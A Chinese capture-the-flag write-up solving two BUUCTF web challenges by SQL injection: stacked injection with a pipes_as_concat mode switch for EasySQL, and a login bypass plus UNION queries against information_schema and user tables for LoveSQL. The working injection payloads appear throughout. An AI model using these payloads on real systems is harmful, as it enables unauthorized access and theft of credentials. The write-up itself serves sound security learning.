BUUCTF——WEB(2)

目录

[SUCTF 2019EasySQL 1](#[SUCTF 2019]EasySQL 1)

堆叠注入

方法一:

方法二:

[极客大挑战 2019LoveSQL 1](#[极客大挑战 2019]LoveSQL 1)

sql注入

SUCTF 2019EasySQL 1

堆叠注入

输入字母,0无回显,输入数字有回显

输入1'无显示,输入1#有显示,输入1'#无显示

输入特殊字符,没有报错回显,可能被过滤,报错注入不行

引号可能被过滤,数字型注入尝试

输入关于sql的语句,or,union,sleep,回显Nonono,联合查询,时间盲注也不行

尝试if,and回显Nonono,布尔盲注也不行

复制代码
1 and length(database())>=1#

堆叠注入

堆叠注入就是同时注入多条指令

展示数据库

展示表

查询Flag表的列

出错,from被过滤

查询有限

知识点:

来源文章:https://blog.csdn.net/qq_46918279/article/details/120188186

concat可以连接多个字符串如concat('id','name',','user')

用符号||代替or

concat();未被过滤

猜测内置语句

复制代码
sql="select post['query'] || flag from Flag";
方法一:

设置Payload:

复制代码
select *,1||flag from Flag
输入	*,1

支持||作为字符串连接的数据库(PostgreSQL/Oracle/SQLite)

这是语句的 "设计意图场景",比如:

  • Flag表有如下数据:
id flag
1 flag{test}
2 flag{123456}

执行 select *,1||flag from Flag 后,结果会新增一列(默认别名如?column?),内容是1拼接flag值:

id flag ?column?
1 flag{test} 1flag{test}
2 flag{123456} 1flag{123456}

不支持||作为连接符的数据库(MySQL/SQL Server)

  • MySQL

    :默认下||是 "逻辑或"(不是连接符),直接执行该语句会报错 / 结果异常;

    等价的正确写法(用CONCAT函数):select *,concat(1,flag) from Flag

    (若要让 MySQL 支持||,需开启PIPES_AS_CONCAT模式,不推荐)

  • SQL Server :用+做字符串连接符,等价写法:select *,1+flag from Flag

语句作用

验证flag列是否存在

  • 若返回结果包含拼接后的列 → 证明Flag表存在flag列;

  • 若报错 → 证明列 / 表不存在

提取flag值(绕过过滤)

  • 若直接查询flag列被拦截(如 WAF 过滤select flag),拼接常量1后,语句变成select *,1||flag,可绕过简单的关键词过滤;

  • 即使无法直接看到flag列,新增的计算列会暴露flag值(比如拼接后的1flag{xxx},去掉前缀1就是真实 flag)。

方法二:
复制代码
payload:1;set sql_mode=pipes_as_concat;select 1
 
#使用set sql_mode = pipes_as_concat将||作为字符串连接函数
那么sql语句就会为:
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
即:
select 1;set sql_mode=pipes_as_concat;select concat(1,flag) from Flag;
 
意思为:
输出1;将||作为concat使用;将输出结果中的1和flag字段连接起来;

详情见:https://blog.csdn.net/qq_46918279/article/details/120188186

极客大挑战 2019LoveSQL 1

sql注入

先测试

复制代码
1
1'
1' or '1' = '1#
1' or 1=1#

得到万能密码成功

复制代码
1' or 1=1#

试一下md5解密,失败

联合查询测试列

1' order by 3#不报错

1' order by 4#报错

则表有三列

尝试注入,查看回显

复制代码
1' union select 1,2,3#

查看库名1' union select 1,database(),3#

查看表,两张表

MySQL 中「字符串常量必须加引号」,不加引号会被识别为「列名」

table_schemainformation_schema.tables 中的列,存储的是数据库名(字符串类型)

无引号的标识符会被优先解析为列名 / 表名等数据库对象,而非字符串

group_concat() 是 MySQL聚合函数,作用是「多行转单行拼接」

复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#

查列

复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="geekuser"#
复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#

查看内容

复制代码
1' union select 1,2,group_concat(id,username,password) from geekuser#
复制代码
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

f12找到flag

相关推荐
laoli_coding10 小时前
数据机密性保护算法汇总(国际算法)
安全·网络安全·密码学
睡不醒男孩03082310 小时前
第一篇:多云与多模态时代的企业级数据库云管理平台(DBaaS)选型指南
数据库·clup·中启乘数
小二·10 小时前
向量数据库实战
数据库
炘爚11 小时前
Phase 5:MySQL 连接池
数据库·mysql
j_xxx404_11 小时前
MySQL库操作硬核解析:字符集、校验规则、大小写比较、备份恢复与连接排查
运维·服务器·数据库·人工智能·mysql·ai·oracle
minji...11 小时前
MySQL数据库 (五) MySQL表的约束(上),非空约束,默认值约束,零填充约束,主键约束,符合主键
数据库·mysql·表的约束·主键约束·非空约束·复合主键·零填充约束
X7x512 小时前
零信任架构:重塑数字时代安全边界的战略转型
网络安全·网络攻击模型·安全威胁分析·安全架构·零信任架构
拾贰_C12 小时前
【python | installation 】python 安装 | Windows | 命令使用
linux·数据库·ubuntu
贺今宵12 小时前
Vue 3 + Capacitor 使用jeep-sqlite,web端使用本地sqlite数据库
前端·数据库·vue.js·sqlite·web
列星随旋12 小时前
MySQL面经整理
数据库·mysql